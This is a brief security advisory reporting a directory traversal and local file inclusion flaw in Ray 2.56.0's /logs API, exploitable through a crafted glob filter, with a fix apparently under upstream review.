Ray version 2.56.0 contains a directory traversal and local file inclusion vulnerability in its /logs API. This flaw allows a remote unauthenticated attacker to access files outside the intended log directory by supplying a crafted glob filter. The vulnerability has been demonstrated with a publicly available Python exploit targeting Ray 2.56.0 on Ubuntu 22.04 and RHEL 10.0. A fix has been proposed upstream and is under review by the Ray maintainers.
